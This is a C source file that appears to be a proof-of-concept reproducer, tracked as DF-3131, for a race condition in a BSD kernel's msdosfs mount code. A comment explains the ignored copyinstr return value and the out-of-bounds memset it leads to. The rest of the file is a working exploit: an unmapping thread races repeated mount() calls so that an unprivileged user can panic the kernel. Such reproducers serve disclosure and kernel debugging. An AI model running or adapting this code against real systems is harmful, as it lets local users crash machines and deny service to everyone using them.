DF-3131 / race_mount.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * DF-3131: self-race the msdosfs_mount(2) copyinstr whose return value is * ignored (msdosfs_vfsops.c:281-282): * * copyinstr(args.fspec, mp->mnt_stat.f_mntfromname, MNAMELEN-1, &size); * memset(mp->mnt_stat.f_mntfromname + size, 0, MNAMELEN - size); * * args.fspec is validated by nlookup (:229) long before, and the whole * mountmsdosfs() device probing (vinvalbuf, bread of the boot sector, * FAT census) runs between the two user-memory reads, so a second thread * of the mounting process can munmap the page holding the string between * nlookup and the copyinstr at :281. A faulting copyinstr leaves `size` * uninitialized (stack garbage) -> memset(f_mntfromname + garbage, 0, * MNAMELEN - garbage) writes out of bounds of the 80-byte field -> * kernel panic. * * The fspec string sits alone on a private MAP_ANON page; the racer * cycles munmap/mmap with short absence windows. Mount attempts during * an absent window at nlookup fail cleanly EFAULT; an absent window that * instead covers :281 triggers the bug. * * Run with vfs.usermount=1 as an unprivileged user owning the vn device * and the mountpoint directory. * * usage: race_mount <device> <mountpoint> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/param.h> #include <sys/mount.h> /* struct msdosfs_args, matching sys/vfs/msdosfs/msdosfsmount.h:226 */ struct export_args_local { int ex_flags; /* export user mount */ uid_t ex_root; /* mapping for root uid */ struct xucred ex_anon; int ex_addrtype; /* export address type */ char *ex_addrs[2]; int ex_masklen; char *ex_masks[2]; }; struct msdosfs_args_local { char *fspec; struct export_args_local export; /* ~ same size as struct export_args */ uid_t uid; gid_t gid; mode_t mask; int flags; char cs_local[31]; char cs_disk[31]; mode_t dirmask; }; static char *pagebase; static size_t pagesz; static volatile int stop; static long attempts, faults, okmounts; static long hist[256]; static const char *devpath, *mntpath; static void mapit(void) { void *p = mmap(pagebase, pagesz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) { perror("mmap"); exit(2); } memcpy(pagebase, devpath, strlen(devpath) + 1); } static void *unmapper(void *arg) { (void)arg; while (!stop) { usleep(4000); /* page present most of the time */ munmap(pagebase, pagesz); /* brief absence */ usleep(600); mapit(); } return NULL; } int main(int argc, char **argv) { pthread_t th; struct msdosfs_args_local args; if (argc != 3) { fprintf(stderr, "usage: race_mount <device> <mountpoint>\n"); return 2; } devpath = argv[1]; mntpath = argv[2]; pagesz = 4096; pagebase = mmap(NULL, pagesz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (pagebase == MAP_FAILED) { perror("mmap base"); return 2; } memcpy(pagebase, devpath, strlen(devpath) + 1); printf("racing mount(%s -> %s) with self-munmap of the fspec page (uid %d)\n", devpath, mntpath, getuid()); fflush(stdout); pthread_create(&th, NULL, unmapper, NULL); while (attempts < 50000 && !stop) { attempts++; memset(&args, 0, sizeof(args)); args.fspec = pagebase; args.uid = getuid(); args.gid = getgid(); args.mask = 0755; args.dirmask = 0755; if (mount("msdos", mntpath, 0, &args) == 0) { okmounts++; unmount(mntpath, 0); } else { int e = errno; if (e >= 0 && e < 256) hist[e]++; } } stop = 1; pthread_join(th, NULL); printf("SURVIVED: attempts=%ld clean_EFAULT=%ld ok_mounts=%ld\n", attempts, faults, okmounts); { int e; for (e = 0; e < 256; e++) if (hist[e]) printf(" errno %d (%s): %ld\n", e, strerror(e), hist[e]); } return 1; } |